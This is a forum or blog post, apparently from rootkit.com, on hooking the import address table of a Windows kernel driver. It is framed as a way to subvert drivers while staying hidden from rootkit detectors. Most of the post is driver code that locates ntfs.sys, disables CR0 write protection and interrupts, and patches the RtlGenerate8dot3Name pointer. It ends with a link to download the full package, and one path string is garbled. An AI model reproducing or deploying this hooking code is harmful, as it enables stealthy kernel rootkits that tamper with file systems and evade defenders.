Hooking the IAT of a driver

By: tibbar

 

I thought I'd publish something that I wrote in a private project over a year ago - how to hook the import address table of a driver (ring 0).

Basically, lots of drivers will use kernel api that are exported by ntoskrnl.exe. If you wish to subvert a kernel mode driver (.sys), one easy way might be to hook a function it links against... but you might not want to hook it globally, as it will get picked up by rootkit detectors.

That's where hooking the Import Address Table (IAT) comes in. .sys files are standard PE files, and also have an IAT. This is a table that is populate with pointers to functions that the driver links against.

This is a common technique in user mode, but it's slightly more complex to implement in kernel mode, since the .sys file clears out the import data once the PE loader has finished (meaning you can't find which function is which for an in-memory .sys).

I get around this by working out the RVA of the function pointer from the file on disk and then adjusting this to find the position of the pointer in the loaded version.

The example shows a hook of the function RtlGenerate8dot3Name within ntfs.sys (the RtlGenerate8dot3Name routine generates a short (8.3) name for the specified long file name).

(use the test driver at your own peril, as it can be dangerous for file systems to hook ntfs!).

The usage is quite simple, as shown in the sample code below:


    NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
    {
    DWORD didItWork = 0;
    DWORD RVA, Thunk;
    UNICODE_STRING driverName;
    PVOID base = NULL;
    char functionName[] = "RtlGenerate8dot3Name";
    char libraryName[] = "ntoskrnl.exe";
    //find the base address of target driver
    base = FindDriverBase("ntfs.sys");
    //DbgBreakPoint();
    if(NULL==base)
    {
    DbgPrint("base not found");
    return STATUS_SUCCESS;
    }

    RtlInitUnicodeString(&driverName, L"DeviceHarddiskVolume1WindowsSystem32driversntfs.sys");
    didItWork = GetIATPointerRVAFromBase(functionName, libraryName, &driverName, &Thunk, &RVA );

    if(0==didItWork)
    {
    DbgPrint("IATPointerRVA not found");
    return STATUS_SUCCESS;
    }

    g_IATFunctionPointer = (DWORD*)( (BYTE*)base + Thunk ) + RVA;

    if(NULL==g_IATFunctionPointer)
    {
    DbgPrint("IATFunctionPointer not found");
    return STATUS_SUCCESS;
    }

    g_OriginalRtlGenerate8dot3Name = *(PVOID*)g_IATFunctionPointer;
    DbgBreakPoint();
    _asm
    {
    CLI //dissable interrupt
    MOV EAX, CR0 //move CR0 register into EAX
    AND EAX, NOT 10000H //disable WP bit
    MOV CR0, EAX //write register back
    }

    *(PVOID*)g_IATFunctionPointer = MyRtlGenerate8dot3Name;
    _asm
    {
    MOV EAX, CR0 //move CR0 register into EAX
    OR EAX, 10000H //enable WP bit
    MOV CR0, EAX //write register back
    STI //enable interrupt
    }
    if (DriverObject) DriverObject->DriverUnload = Unload;
    return DriverObject ? STATUS_SUCCESS : STATUS_UNSUCCESSFUL;
    }

You can download it from:

http://www.rootkit.com/vault/tibbar/hookiat.rar